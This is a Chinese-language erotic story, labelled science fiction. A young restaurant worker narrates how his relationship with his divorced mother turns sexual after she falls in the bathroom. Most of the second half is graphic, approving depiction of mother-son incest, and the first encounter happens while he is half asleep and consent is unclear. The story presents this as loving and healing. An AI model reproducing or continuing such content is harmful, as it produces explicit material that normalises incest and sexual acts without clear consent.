神奇的变化[科学幻想]
公车上车厢里人群熙熙攘攘,我无聊的抓着吊环,目光没有焦点的扫视着窗外的景物。就在刚刚我把一个座位让给了一个头发花白的老婆婆,婆婆放下菜篮还对我说了声谢谢。如今的网络上充斥着各种因为让座等等的原因引起的争执,我从来也没有见过,现代人的善心也不再是需要广播里从不停歇的「请为老,弱,病,残和有需要的乘客让座」播音才挤出一点点。我漫无目的的看着窗外,到处是各种各样的海报,广告,路边还有不停的人流,天气渐渐炎热,人们都开始穿的清凉,尤其是一些女孩子们,青春的气息在裸露的肩膀、胳膊、大腿上洋溢着。
毫不吝啬暴露那大块的皮肤和美好的身材,在引起大把大把的回头率的同时,心中满溢着为自己魅力出色的洋洋得意。
车子一个刹车,我听到一声惊呼,接着一个身子撞了过来,首先是右脚被她七公分的高跟鞋狠狠踩了一下,还没等我痛的吸气,右手下意识的搂了踩我的那个人一把,在我事后回味当时的触感是圆润,顺滑,弹力惊人。
对面的是一个身材高挑,身着白色套裙的时尚丽人,肩膀的衬色是米黄的,胸前有银色胸针,腿上套着肉色丝袜。她狠狠瞪了我一眼,算是为我的轻薄给个警告,她踩了我一脚却是不争的事实,郁郁不能发作。我只能装作若无其事,动也不动,直到到了我要下的站,开门下车。
我悻悻地走在马路上,回想刚才那一刻的短暂相触,心悸不已。我这个年龄的人,对异性有着无比的渴望,每当看到一个漂亮的女人,脑海中都会幻想出无数种与这个女人的故事,只是最后却连一点搭讪的勇气都没有。
我还没有介绍自己,我叫王壑,壑同贺音,出生上世纪九十年代,目前并无学业,在一家餐馆工作。我的父亲是司机,母亲是会计。如果要说我生命里最重要的人是谁,非我美丽的妈妈莫属,妈妈为了生我养我,吃尽了数不清的苦头,小的时候妈妈常常把我抱在怀里,一边还在忙着按计算器,很小的时候我就励志长大后要好好孝顺妈妈,好好对妈妈。
回到家的时候,我手上已经多了一条活鱼和一把芹菜、大蒜。我把锅洗了,放油烧热,然后把剁成块腌好的鱼肉一块块放入热油中,缓慢翻动,炸到微微金黄,然后把汤水倒进锅里,浅浅盖住鱼肉,然后把我切好的姜、蒜还有一点辣椒放到锅里,等着它慢慢烧开,一直到锅里的汤煮成奶白色,才把调料放了,关火出锅。
门外想起「磕嚓」、「磕嚓」的高跟鞋触地的声音,不用回头我也知道是妈妈下班了,妈妈今天一身黑,走进厨房看到桌上的煮好的鱼,脸上浮起美丽的笑容:「小壑今天又下厨了,妈妈今天有口福了。」我收拾好厨房的物件,清洁一下,然后洗了手盛了两碗饭,叫妈妈:「妈妈,您上班辛苦了,可以吃饭了。」妈妈早换好了衣服,穿着一件碎花长裙,坐到餐桌前,看着桌上的鱼肉汤,一个炒青菜,一小碟腌黄瓜,绽放说不出的喜悦表情,说:「小壑真是太能干了,有小壑,妈妈以后就有享不尽的福了。」我默默无语,只是夹了一块鱼肉给妈妈。
饭后,在我执意要求下,妈妈把收拾碗筷的任务交给我了,自己去客厅看电视去了。
等我收拾停当,走进客厅时,妈妈正在看一档综艺节目,看的挺入神的,对我的到来视若无睹,还把脚跷到了矮凳上。我轻轻坐在妈妈旁边,尽量不打搅她,她还是有所觉的向我这边靠了靠。
电视里唇枪舌剑,各抒己见,播出了好一段精彩的节目,这时主持人说道:
「下面有请下一位应聘者。」接着又画面一闪,说出一句耳熟能详的词:「广告之后,马上回来。」妈妈抒了口气,说:「又广告了。」起身坐了起来,懒懒伸了下腰,看到我坐在旁边,嫣然一笑:「小壑忙完啦,你想看什么,你换。」我摇摇头:「我不看,妈妈你看就好了。」妈妈揉揉腰,皱了皱眉:「腰好酸……」
我说:「妈妈,你最近很忙是吧?」
「嗯,上个季度的财务报表要做出来,还有下个季度的预算,又到月底了,工资也要核算。要忙完这阵才会轻松一点。」「妈妈你在电脑桌前坐太久了,难免腰酸背痛的,你躺下,我帮你按按吧。」「嗯,小壑最好了。」妈妈俯卧躺在软榻上,我坐在她旁边,双手轻轻在她腰背按摩着。妈妈尽量放松了身体,配合着我的手掌使力,手心下的肌肤弹力而光滑,因为工作的不适很快消散开来。
妈妈发出一声舒服的呻吟,说:「真舒服,好小壑,你会做饭,能干家务,还能服侍妈妈,妈妈的后半辈子就全托付给你了。」我说:「你想得美,这么服侍你只是暂时的,我可不会经常这么好。说不定哪天你会吃苦了。」妈妈嗡声说:「只要你舍得让妈妈受苦。」
我又帮妈妈按了一会,妈妈发出几声满意的叹息,手摸到遥控开始换台了。
画面闪了几下,开始播放电视剧,叫「婆媳的战争」,看得津津有味,不时发出哈哈的笑声。我把妈妈的裙子撩了上去,露出丰满的大腿,双手使力拿捏起来,妈妈工作经常穿高跟鞋,腿脚酸痛也是常有的。
※※※※※※※※※
第二天是周末,妈妈休息。我也安排了休息。妈妈穿着黑色职业套裙,拿着一叠文件,正坐在电脑前输入着什么。我拿了个苹果,坐在她旁边缓缓削着。妈妈回头看我,说:「小壑,最近工作怎么样?」我点了点头:「还好。」妈妈说:「现在不会经常站的脚痛,也不会被顾客骂了吧。」「很少了,除非碰到很难缠的,毕竟我也工作了几个月了,该学的也都学会了,也懂得随机应变了。」妈妈摸了摸我的脸,微笑说:「小壑能自力更生了,不用妈妈操心。你也大了,工作有了,也该恋爱了,将来还要结婚生孩子。现在有喜欢的人吗?」我脑海中闪过公车上踩过我一脚的美女,摇了摇头:「妈妈,还没有。」妈妈说:「如果有就赶紧追,家世,背景,相貌,都不重要,最重要是人要贤惠。有了女朋友,有了家,你才会懂得奋斗。」我赶紧说:「妈,我知道了,吃水果。」妈妈一笑,不再追问。
中午吃的是红烧肉,糖醋排骨,外加一大碗西红柿蛋汤。
吃完饭妈妈挽起袖子,扎起裤脚,要开始清洁家里的卫生,我知道妈妈一向都是一个人做,没让我插过手,只好一个人回去休息。我回到自己房间,打开自己的电脑,电脑硬盘里只有几个文件夹,一个是QQ,一个是输入法,一个是浏览器,还有几个文档文件。打开浏览器,收藏夹也只有几个常用的域名,一个「酒店礼貌用语」,一个「天天食谱大全」,一个「服饰的N种搭配」。我关掉浏览器,新建了一个文档,写下「我的爸爸和我逝去的大学梦」的标题,然后开始陈述自己的故事。
「……有一天家庭终于有了矛盾,爸爸和妈妈开始整天吵架,我总是觉得是爸爸故意要吵的,总是他先挑起矛盾,妈妈总是哭,总是哀求,却换来爸爸更加的大发雷霆。终于有一天爸爸不再吵了,他也不再理我,收拾了一箱子的衣服,没有向任何人道别,就这么无声无息的走了,妈妈无数次在电话里哀求他回来,每一次都是换来更多的泪水。」「家已经不再有家的气氛,开始沉闷无比,妈妈形容憔悴,管不了我的学业,我开始不用功,旷课、逃学,撕毁卷子,年级名次一落千丈。等到妈妈惊觉时,才发现我像换了个人似得。她开始恳求我,求我专心学业,我却跟她说,学习好有什么用,我长大以后也像是爸爸一样的人,那还不如不学习,少点长进,少祸害别人。」「妈妈劝不动我,我毅然辍学,开始游手好闲,开始认识狐朋狗友,开始学会喝酒。直到那一天我喝得酩酊大醉,独自趴在马路上狂吐不止,妈妈就在不远处看着我,她的表情是那么的凄伤,眼神是那么的绝望,就算当初爸爸离开时她也没有露出过这种表情,我伤透了她的心了。我能站起来做的第一件事就是冲过去抱住妈妈的腿,不停的告饶,说我错了,我再也不这样了,求她原谅。」「我改过自新了,只因我受不了妈妈见我堕落时伤心欲绝的模样,只是我说什么也不愿意回去上学了,连番打击之下,只要一拿起书本我就犯困,烦躁,妈妈最后也做出了让步,只要我不干坏事,爱惜自己,其他都由得我了。」「大学是一个美丽的名词,大学校园更是一个梦一般的地方,从开始上学起我就把考进大学当成自己的梦想之一,没有想到会在这样的转变下,成了遥不可及的美梦,并且渐行渐远。」我靠在椅背上,轻舒了一口气,如今的妈妈早已不是曾经那么颓废,不再需要我好心哄她才肯吃我买来的早餐,也不是需要我提醒才收拾自己,也不是常常在窗前一坐就是一整天,也不是需要我给她鼓足很大勇气才能回到工作岗位,现在的妈妈恢复了开朗,自信,友爱,和事业心。
我又打开了一个文档,开始写「我的妈妈」。
「妈妈属兔,用活泼可爱来形容妈妈真是一点也不错了,不过妈妈也很雍容,比如说她聚精会神看电视的时候;妈妈也很专注,比如她认真工作的时候;妈妈也很挑嘴,比如她每次把我做的饭菜吃的一干二净还责怪我做的太少的时候;她也很懒,公司同事、亲戚朋友叫她聚会,一向能躲就躲,能推就推;她也很能言善辩,比如她总是向我描绘她为我设计的未来;她也很美,每次看到窗口照进来的一抹阳光,或是花盆的植物开出鲜花的时候,都会笑一笑。」「妈妈很喜欢穿裙子,衣柜里满满的是连衣裙,还有短裙,套裙,迷你裙,当然妈妈最喜欢的还是复古风格的长裙。妈妈穿复古裙特别好看,一举一动都摇曳生姿,尤其是她平时走动裙子微微摆动,就像活在古画里的美人。」「妈妈瓜子脸,柳叶眉,属于偏冷艳型,不笑的时候似乎拒人于千里之外,笑的时候又如春回大地,冰雪解冻。当她侧着脸对我微笑,说出夸奖我的话时,我的心情就是最开心的。她是那样的大方,慈祥。」「阴影已经逝去,妈妈一定会过得越来越好的,这个事实不仅我相信,妈妈也相信。」我敲下最后一个句号,微微发愣了一会,然后把这个文件删除,清空了回收站。
※※※※※※※※※
第二天星期日,我还要去工作,在餐馆工作的,休息是不固定的,大部分人放假的时候,我们还要坚持上班,只有在不忙的时候才会按照排好的日期轮休。
下班了妈妈做好了饭菜等我一起吃,吃完饭妈妈把电视丢给我,自己进房间去了,或许是保养,或许是整理,谁知道呢。我有空就做饭菜给妈妈吃,妈妈不忙,就会煮好香喷喷的饭菜等我;都有空的时候妈妈拉着我一起去超市买菜,还会挽着我的手一起去逛商场;看到漂亮女孩,也会怂恿我去追求。每个人都在做着自己需要的选择,我不可能在餐馆一直干下去,总要找到更适合自己的工作;我已经长大了,妈妈也要更多的为我考虑;我是一个不愿拂逆妈妈的主意的人,已经决定尽快找到女朋友成一个家。生活的轨迹就是如此正常,相处的点点滴滴也是那样的琐碎和平凡,没有想过要去改变,没想过生活要波澜壮阔,只是在等着该出现的那个人的出现,进入我的生活,开始全新的局面。
过了很久一段时间以后我再坐在电脑桌前,回想之前的那些想法,却觉得自己有些肤浅和不明白人生的不可捉摸,假如没有发生那次的浴室事件,我和妈妈还像平常一样的生活着,虽然琐碎但是安心。
那天是几号我不记得了,我坐在客厅里看电视的时候听到浴室里传来妈妈的惊叫,随机有重物撞地的声音,伴随着一个盘子还是什么的物体打翻在地。我走到浴室门口,说:「妈妈你还好吧?」浴室里传来妈妈的声音:「我还好,我没事,就是滑了一跤。」跟着浴室里传来妈妈喘气的声音和在地上爬动发出的声音,我又问:「妈妈你怎么了?」妈妈说:「没事,没事,就差一点了,就一点了……」话没说完我听见她又一声惊呼,发出了沉闷的声响,这次我就在门外,听的清清楚楚,知道她肯定摔倒了,加上前面那次,已经摔了两次了。
我急忙说:「妈妈你摔伤了,你别再自己动,我进来扶你。」妈妈惊呼:「不要,小壑,妈妈没穿衣服,你别进来。只要一会,只要一会,妈妈自己能拿到浴巾了。」我在门外等了一会,只听到莲蓬头的水滴滴答答落在地上的声音,妈妈没有一点动静,隐约里似乎还发出忍痛的抽气声。我再也等不了,大叫一声:「妈妈我进来了。」打开门冲了进去。
妈妈发出了一声惊呼,我却看到了一幕从来没有看到过的画面,妈妈赤裸着身子侧卧在浴室地板上,全身上下一丝不挂,见到我进来只是勉强用手臂遮住胸前的两点和下身的私密部位。那一瞬间我愣在了原地,为自己的鲁莽行为自责,也为眼前从未见过的女性裸体震惊不已。
妈妈羞也不是,气也不是,嗔怪说:「你还站着干嘛,拿浴巾给妈妈啊。」我茫然「啊」了一声,妈妈气恼说:「那架子上面不是吗?妈妈站不起来,拿不到。」说完不惜右手往上一指。
我家的浴室墙壁上装了一个合金架,为的是放一些洗浴时用的物品,妈妈的浴巾亦然在上面,我忙不迭的拿到浴巾赶紧抛给了妈妈,转过身去,内心噗通噗通地跳动着,再也不敢看妈妈一眼。
背后一阵悉悉索索的声音,之后听妈妈说:「好了,我披好浴巾了,小壑你先出去吧。」我说:「妈妈,你能自己走出去吗?」
妈妈说:「没事的,妈妈坐一会,等脚不痛了就可以自己走了。」我转身看着妈妈,妈妈已经把白色浴巾裹在自己身上,遮住了大半个身子,曲膝坐在湿漉漉的浴室地板上,似乎要好一阵才能自己起身。
我说:「妈妈,我抱你出去吧,地板上凉,呆久了不好。」妈妈连忙说:「不用,小壑。」我不由分说俯身将双手插到妈妈腋下和腿弯里,把她抱了起来,我平时工作的地方也要做一些重活,妈妈才一百来斤,我能勉强抱得动,地板上冰冰凉凉,妈妈而且刚洗过澡,身上湿湿的,呆久了难免不会受凉,万一感冒了或者发烧什么的,我可不能让亲爱的妈妈那样。
妈妈紧攥着浴巾任由我抱着她穿过客厅回到她的卧室,轻轻把她放在床上。
我转身吸了口气努力让自己平静下来,说:「妈妈,你先穿衣服吧,我出去了。」走出房间,把门轻轻带上,我压抑不住的心跳又噗通噗通猛烈跳动起来,刚才的那一幕还在我脑海盘旋,我和妈妈已经很熟悉了,可从来没有像这样近距离看到了她成熟的裸体,我是个冲动的年轻人,对女性抱有无时不刻的幻想,突如其来的刺激画面让我激动莫名,胸如鹿撞,吸吸鼻子,似乎还能闻到她身上的芬芳,我的身上、手臂上,还残留着抱着她的触感,尤其是隔着浴巾的那份滑腻……我在客厅里踱步,拼命吸气让自己平静下来,坐在电视前,电视频道播放的是什么我竟完全不知道。勉强挨到睡觉了,有气无力把电视关了,留下盏壁灯,躺在床上时,却几乎睡不着。
这一夜我几乎失眠,在床上翻来覆去,脑海里不停闪现我在浴室里看到的妈妈的裸体,一个个短暂而激情的梦境向我袭来:啊,妈妈的裸体!妈妈的乳房好大;乳沟好深,能摸一摸、探一探究竟多好;奶子,奶子是什么形状;妈妈的下面是什么?大腿中间怎么是黑的?好多毛;妈妈不要走,抱抱我,对抱我,乳沟,我摸到乳沟我就解脱了……第二天早上我勉强爬起来,精神十分不好,但是我心乱如麻,还是毅然去上班,上班期间,我还是经常走神,窗外是白天,我脑中还是在不停的幻想,昨夜的一幕幕和那些梦境,在我眼前不停闪现,我几乎忘了自己要看的、要听的。
在不知道是梦还是醒的情况里下了班,我回到家里,妈妈衣服齐整的坐在沙发上,她脸色一如平常,昨夜的事似乎早已经忘记。看到熟悉依旧的家,看到熟悉依旧的妈妈,我所有的绮念全都消失不见了,妈妈还是那个妈妈,我还是我,昨夜的意外只是个小插曲,很快就过去了,对我们母子的关系一点损害都没有。
我笑说:「妈妈,还没吃饭吧。」
妈妈皱起眉头,说:「何止没吃,妈妈今天一天都没吃,我把脚扭了,自己做不了。」我连忙说:「妈您等等,我马上去做。」
半个小时以后,饭菜都煮好了,我扶着妈妈慢慢来到餐桌边坐下,递给她碗筷,两个人默不作声吃了起来。吃完饭我扶妈妈来到客厅,找出一瓶活络油,轻轻抹在妈妈扭伤的左脚上,慢慢替她按摩起来。边按我边问她:「妈,好点了吗?」妈妈无声点了点头,目不斜视地看着电视屏幕,看也不看我一眼。我扭头看了一眼电视,电视里演的明明很搞笑,很欢乐,妈妈平时一定看得大笑不止,此刻却连一丝动静也没有。
大约十点钟,我看妈妈似乎累了,就要扶她回去休息,妈妈轻轻躺在床上,看我要走连忙拉住我,说:「小壑别走,陪陪妈妈。」我坐在床边说:「我不走。」妈妈静静躺了一会,叹息说:「我也不知道怎么了,心里烦闷的慌,很怕一个人,很想小壑你陪我。」我说:「妈妈,没什么,你想我陪你我就陪你,多晚都没关系。我今天没照顾你,害你饿了一整天,都怪我。」妈妈微笑摸了摸我的脸:「妈妈不怪你。」
我说:「妈妈,你脚伤了,早点睡养养精神吧。」妈妈「嗯」了一声,轻轻闭上了眼睛。我一直坐在她旁边握着她的手,听到她的呼吸平稳我才轻轻抽出手,起身准备离开,没想到这么一点点刺激妈妈醒了过来,急忙道:「小壑不要走。」抓住我的手不肯放开,轻轻说:「小壑,今晚别离开妈妈好不好,妈妈脚扭伤了,很害怕一个人,很怕孤单。」我说:「妈妈,我明天还要上班呢。」妈妈迟疑说:「要不你上床来,今晚就睡在我旁边。」我犹豫说:「妈妈,我都长大了,还是不要了吧。」妈妈「噗哧」一笑,说:「长大了又怎么样,在妈妈眼里你永远都是一个小孩子。再说小时候妈妈抱着你睡还少么?」我脱掉鞋袜,慢慢爬上床,占据了整张床的另一半,我紧张不安也没敢脱衣服,就这么穿着睡在妈妈一旁,妈妈拿着我的手掌枕在脖子下,很快就睡着了。
看着妈妈恬静的睡姿,我想起了当初爸爸刚离开这个家的时候,她也是这般不安,非得要我哄哄才会安睡,这会情景和那时候十分相似,等妈妈脚好了,心情估计自然也就恢复了。
早上妈妈精神振奋,愉快的吃了我买的早餐,愉快的要我去上班,中午自己愉快的一个人吃了,愉快的和我吃了晚饭,一起看了电视,然后有些羞答答说:
「小壑,今晚还是陪陪妈妈好不好?」
我答应了妈妈,妈妈拉着我一起轻轻躺在床上,有些苦恼说:「小壑,妈妈不知道是怎么了,可能那晚的惊吓还没过去,给妈妈一点时间,妈妈会好的好吗?」我安慰她:「没事的,就当重温小时候妈妈对我的好了,现在小壑长大了,能照顾妈妈了。」妈妈安心枕着我的肩膀睡去了,我只是小心翼翼不敢碰她。
我在妈妈身边睡了几晚,妈妈的脚腕渐渐好了,或许是习以为常了,我居然没和妈妈说要回我自己的房间睡,妈妈似乎也忘了这件事,只是在床上越来越随意,有时会半个身子趴在我身上睡了,也会把我的手臂搂着她的腰,有时候妈妈趴在我身上不停轻轻摩擦,我在睡梦里只觉得欲火旺盛,醒来时发现阴茎一柱擎天,为了免得尴尬,不得不跑到厕所躲一下,过了一会才回去。挨着妈妈继续睡。
清晨醒来发现大腿上有淡淡的水迹,以为是自己的,没放在心上。
这样一来我的睡眠质量十分差劲,加上身体里憋着一股欲火,好几日没出现的那些画面和幻想又出现在我脑海中,弄得我上班的时候常常心不在焉,经理都说我这几天沉默寡言,没以前那么活泼了。
夜晚更差劲,妈妈睡在旁边,妈妈的气味,妈妈的呼吸,妈妈身体的触感无时不刻在影响着我,我梦境横飞,不停说着梦话,朦胧里似乎听到妈妈在呼唤我:
「小壑……妈妈的好孩子……妈妈爱你……」一个重物压在了我的身上,我分不清什么是真实,什么是梦境,我梦见我抱住了妈妈……我反过来压住了妈妈……然后我梦见我做了一系列我不知道的事情……我眼前一片空虚……身体燥热得好像要爆裂开来……前面,前面就是解脱,然后我扑了下去……臆想中的世外桃源并没有出现,我只觉得自己身上最坚硬、最火热、最需要得到解救的东西突然进入了一个我从来也没有到过的地方,紧致,滑腻,火热。我的身体不由自主抽送起来,耳边依稀听到妈妈呻吟的声音,一股奇异、从未有过的快感从我的小腹下蔓延上我的脑门,我被巨大的快感惊醒了,发现自己和妈妈的内裤都已经脱到膝盖,我还压在妈妈身上,下身一耸一耸着,和妈妈正在干那种事,妈妈眼睛紧闭着,脸上的表情似痛苦,似舒服,也不知道清醒了没有。欲望本能驱使着我,我不管不顾继续做着想做的事,又抽送了十几下,紧闭的阀门突然大开,大脑一片空白,双手也不知道抓住了什么,久蓄在睾丸里的精液从我进入妈妈身体那个器官里喷涌而出,如潮水一波接着一波,只觉得美妙无比,畅快难言,好像登上了仙境,好像我长生了一样。
激情过后我大气也不敢出,轻轻爬到一边蜷腿躺下。妈妈也背着我缩紧了身体,我只隐约听到她压抑的粗重的喘气声,还有身体压抑不住的轻微颤抖。意识到自己干了多么骇人听闻的事情,我忧心忡忡真担心妈妈会突然发难。
早上我几乎是用冲的跑出了妈妈的卧室,简单洗脸刷牙后几乎逃一样离开了家。
来到工作岗位上,好了,这下以前那些无精打采,心不在焉,欲火满身全消失不见了,取而代之的是深深的罪恶感和自责;每碰到一个人,目光对视的时候,仿佛他们都看穿了我的心事;偶尔看见同事私下说悄悄话,我常常会以为自己的行为被发现了,正在传播,在议论;同事平常的一句骂人话,我常常觉得是针对我,羞耻无比;在同事面前抬不起头来,羞与他们为伍。
下班后我在家门口蹑手蹑脚不敢进门,好不容易鼓起勇气走进家里,还没想好怎么面对妈妈,还有面对妈妈后的说辞,发现妈妈不在客厅。客厅里电视开着,餐桌上摆着冒着热气的饭菜,妈妈房门紧闭,应该呆在房间里没出来。我心里头踏实了一些,独自一个人吃完了饭,不敢看电视,回到自己房间躺在了床上。门外一直没有声音,我也不敢仔细去听,漫漫一夜就这么过去了。
三天,这样的生活持续了三天,在我有记忆里,还从来没像这次三天没有和妈妈见面,三天没有和妈妈说话。家里除了电视机的声音,我再也听不到妈妈的一点声音,这和以前的家庭气氛相比,现在就如死寂一样。我忍受不了这样的气氛,也背负不了这样的罪恶,我的内心憋得像要爆裂一样。
我鼓足了所有勇气准备向妈妈坦白,妈妈正在客厅里看电视,我轻轻走到妈妈身边唤了一声:「妈妈。」妈妈脸色平静看着我,说:「小壑,有事吗?」我说:「妈妈,我想好了,我决定搬出去。」妈妈有些惊讶,我以为自己找到了解决问题的办法,妈妈追问:「为什么?」我说:「我想独立了,再说出去以后我可以找个离上班近的地方。」妈妈整个人呆住了,默默看着我转过身去,当我要走出客厅时妈妈叫我:
「小壑。」
我回头看妈妈时,她满眼都是痛苦,我连忙蹲在她身前说:「妈妈你怎么了,我这样做你不高兴吗?」妈妈:「小壑,妈妈知道,是那天晚上妈妈做错了,你讨厌妈妈,所以用这种方法对待妈妈。」我连忙说:「不,妈妈你错了,那天晚上犯错的是我,受害的人是你,要受惩罚也应该是我来受。」妈妈摇摇头,说:「小壑,你错了,是妈妈引诱的你,那晚的事全怪妈妈,怪妈妈没有控制自己,妈妈实在情不自禁。」我连声说:「我也有责任,我也有责任,妈妈我们一起分担好不好。」妈妈微微一笑:「小壑你不走了好吗?」我说:「我不走,我不走,我陪着妈妈,还是像以前一样我煮饭给你吃,你煮饭给我吃,你累了我服侍你,你不开心了我哄你,我永远照顾你,你永远是我妈妈,我永远是您儿子。」「只是妈妈?」
我浑身一震,看着巧笑倩兮的妈妈,突然起身猛地抱住了她,一瞬间竟然张嘴失声。
我和妈妈紧紧抱着躺在沙发上,妈妈也不知道是哭是笑,喉咙嘶哑说:「小壑,你为什么不理妈妈,好几天都对妈妈不理不睬,妈妈好难过,妈妈知道刺激你了,你不肯再对妈妈那么好了,妈妈要失去你了。」「妈妈,我怕,我才怕失去你,我做了那么大逆不道的事情,我知道无论如何都回不了头了。我不理你是怕你生气,怕你受伤害,我只是在想解决的办法。
妈妈。」
「答应妈妈,以后无论如何都不要不理妈妈,抛弃妈妈。」原来大家考虑的都是同一个问题,关心的都同样是对方。我的唇不知道什么时候开始吻上妈妈的唇,妈妈一点羞涩也没有,热情地回应我,当我们都陷入情欲里无法自拔时,主动探索对方的身体。
夜幕缓缓降临,衣衫不整的我们还在沙发紧紧纠缠着,妈妈有些急迫说:
「小壑,去房间里,去房间里。」
我一把撩起妈妈裙子下摆,将她横抱起来,接着冲进妈妈的房间,我再也管不了什么身份,辈份,血缘,罪孽,见到妈妈身上的衣服就扯,妈妈轻轻喘气,任我所为,再次见到妈妈那对圆润的乳房,我低头就扑了上去,这次不但看的更清晰,而且还可以亲口一试,而且没有遮掩连乳头都看的一清二楚。妈妈很快发出快乐的呻吟,乳头立了起来,慢慢变硬。我沿着妈妈的身体往下一直亲吻,吻到了她的小腹,妈妈呻吟一声弓起了身体,我在妈妈胯下亲吻了一通。接着我急急忙忙脱自己的裤子。妈妈也有些急不可耐,帮着我一起拉扯,脱了内裤后我的阴茎早已立得笔直,而且坚硬无比,热得烫手,妈妈抓住我的阴茎轻轻帮我捋了捋,我已迫不及待要和妈妈合为一体,分开了她的双腿,妈妈主动迎合着我让我把阴茎戳入她体内,妈妈情不自禁发出一声动人的呻吟,我抓着妈妈的两只乳房在她身上来回冲刺。抽送了不过十几下妈妈的呻吟变得如泣如诉:「小壑…啊,小壑……小壑,妈妈的宝贝……妈妈爱你妈妈爱你……」几乎一整个晚上我都在妈妈的身上度过,我和妈妈的交合就没有停止过,我数不清自己射精了多少次,直到最后射不出为止,妈妈始终攀着我的肩膀,嘴里叫着「小壑」,欲生欲死,在高潮里死去活来也不知道多少次,最后无力挣扎,喉咙也喊哑了。
好了,一切都好了,没有悲伤,没有离合,没有罪恶,一切仿佛又回到了曾经,回到了那个再正常不过的家庭气氛。只是我上班的时候腰酸背疼得厉害,再苦我也微笑着硬撑,因为我心中已经有爱,我爱妈妈,而且经过性爱的洗礼,我也觉得精神奕奕。
满怀兴奋的回到家,迫不及待的见到妈妈,立刻一个拥抱过去想抱住妈妈。
妈妈却轻轻推开了我,淡淡说:「小壑,吃饭吧。」我满腔热情被打断了有些扫兴,只好郁郁端着碗吃饭。妈妈神色淡淡的,也不多说什么,只是慢慢的吃饭。
饭后妈妈见我主动要洗碗也不推辞,卸下围裙把厨房丢给我自己走了。我忙完家务来到客厅发现空荡荡的,妈妈的房门紧闭,应该是一个人关在房间里。我有些郁郁坐在沙发上,不明白妈妈怎么对我忽冷忽热的。躺在床上静静思考的时候,直觉告诉我妈妈应该没事,可能过几天就好了。
※※※※※※※※※
当我和妈妈再坐到客厅里,妈妈正认真看着电视节目,我轻轻坐在妈妈旁边叫她:「妈妈。」妈妈扭头看了我一眼,微微一笑:「小壑,陪妈妈看电视吗?」我欲言又止:「妈妈,其实我想……」「有什么事和妈妈商量吗?」
「没有,我是想……」
「没有就没有,陪妈妈看电视吧。」妈妈好像一点也不明白我的心意,一把拉过我的手臂绕在她脖子上,两个人依偎着坐在电视前聚精会神看着。我几次到嘴的话都生生咽了下去,没有说出口。
「明明是你撞了我的,别狡辩。」
「你哪只眼睛看到我撞你了,你,你还隔着我老远,老远呢。」「我两只眼,眼睛都看到了,你别否认,刚才就那么一路扭啊扭啊,扭到我跟前,把我,我撞了。」「谁扭了!谁扭了!我路上遛弯呢!咋地!」
看到这里妈妈掩嘴咯咯笑了起来,说:「这俩活宝太逗了。」电视里说:「你强词夺理!」我看着妈妈笑得前仰后合,心里有苦说不出,只得附和着笑了几声。妈妈在我怀里找到更好的位置,把整个人靠在我怀里,还把我的手搂着她的腰。我心里总算踏实了一些,暗暗忍耐着陪妈妈看完电视。
夜深了,电视也播完了,妈妈打了个呵欠说:「不早了,关了电视睡吧。」我有些急了,连忙拉住妈妈说:「妈妈,我……」妈妈问:「还有事吗?」我满面通红:「妈妈,那个,那个,我们那个,你知道的……」妈妈故意装傻:「小壑你说的什么妈妈没明白。」我急得快冒汗:「就像在你房间那样。」「在妈妈房间哪样啊?」
我急忙把妈妈抱在腿上:「就是小壑要和你好,就像前两次那样。」妈妈眼睛里已经有了笑意,脸上却顽皮一笑:「妈妈可是妈妈哦。」我死缠烂打:「我不要妈妈做妈妈,我不要妈妈是妈妈。」妈妈巧笑倩兮,轻轻推开我,向房间走去,快到门口时回眸一笑:「你确定?」我在原地死命点头。
妈妈说:「妈妈答应你。不过妈妈马上就要关门了,你要进来吗?」说完闪身进了房间。
我像旋风一样冲了过去,生怕妈妈会在我就要进门的时候把门关上,等我冲进妈妈房间才发现担心是多余的,妈妈轻轻坐在床边。
我冲过去要对妈妈又搂又亲,妈妈脸上有抑制不住的笑容,轻轻制止了我:
「小壑别急,去把门关上。」
我把门关好回来时,妈妈不再吝啬对我的笑容,也不隐藏对我的情感,就像回到了最初,两人心有灵犀。
我搂着妈妈胡乱亲吻,妈妈说:「小壑,别急好吗?我们还有很多时间,妈妈会尽力陪你。」我冷静了一下,问出了第一个问题:「妈妈你这几天怎么都不理我,我很难过。」妈妈温柔说:「妈妈也难过,妈妈也恨不得和小壑说话,抱抱小壑。」我说:「妈妈,如果不是今天晚上我非要要求你,你是不是会一直拒绝下去。」妈妈笑着说:「怎么会呢,即使小壑不主动要求,妈妈也会主动,会要你来房间的。」我喜笑颜开:「妈妈最好了。」
妈妈有些难过:「妈妈是不是很坏?妈妈是个坏妈妈。」我吻着妈妈的唇:「妈妈是世界上最好的妈妈。」对于我把舌头伸进妈妈嘴里,妈妈的热情很快点燃了,扭动着火热的身躯在我怀里主动迎合我。
「今夜不要对妈妈太好,惩罚妈妈吧。」
一句话引爆了我对妈妈的激情,我开始对妈妈上下其手,只是那我还不熟悉的女性衣物脱起来有点讨厌,妈妈又沉醉在情欲里,不能给予援助,好不容易把妈妈上衣脱光了,妈妈坐在我怀里我拼命吸她胸口的乳房。妈妈欲罢不能,爱不释手,只能一边呻吟一边用力摩擦我的身体。我一边亲吻妈妈的身体一边缓缓将她放倒,除去了她下身的最后一点遮掩,顺着她的大腿一直亲到了她的胯下,我也不管不顾那是什么地方,伸出舌头用力舔吸起来,感觉像两瓣,像云吞,好像还有水流出。
妈妈颤声呻吟:「呃,小壑,不要!呜……」
妈妈双腿开了又合,身子弓了又弓,手按在我头上,也不知道是要推开我还是要我更用力些。
终于妈妈受不了我的攻势,扭动开身子,急急忙忙抱我,急促喘息说:「小壑,快给妈妈,妈妈要。」我轻车熟路的一个动作,轻车熟路的对准了妈妈那里,然后用力一捅进入了妈妈身体里。妈妈不再搂抱我,改为抓床单,扯栏杆了。
到了半夜里的时候,也不知道是不是窗外的月光照了进来,妈妈坐在我身上上下摆动着,浑圆的乳房一颤一颤着,这景色是那么美丽,感觉是那么快活。
早晨是妈妈趴在我怀里醒的,妈妈几乎还保持着和我欢爱时候的姿势,两腿分开跨在我身体两侧,下身和我紧密贴合着,我略一回味,发现自己居然还在妈妈身体里,受到妈妈幸福的照顾的阴茎保持着挺立,恋恋不舍昨夜陪伴了一夜的伙伴。
妈妈也悠悠醒转,看了一下现在的睡姿,不置可否,马上发现了不妥,急忙说:「你怎么还在里面,快出来。」我抱紧妈妈:「不出来,这样好舒服。」
妈妈气急败坏说:「都天亮了,我们不能做了。快放开妈妈。」我亲吻妈妈:「妈妈,我们不做,我就想抱着你。」妈妈安静了下来,静静和我享受清晨热吻。
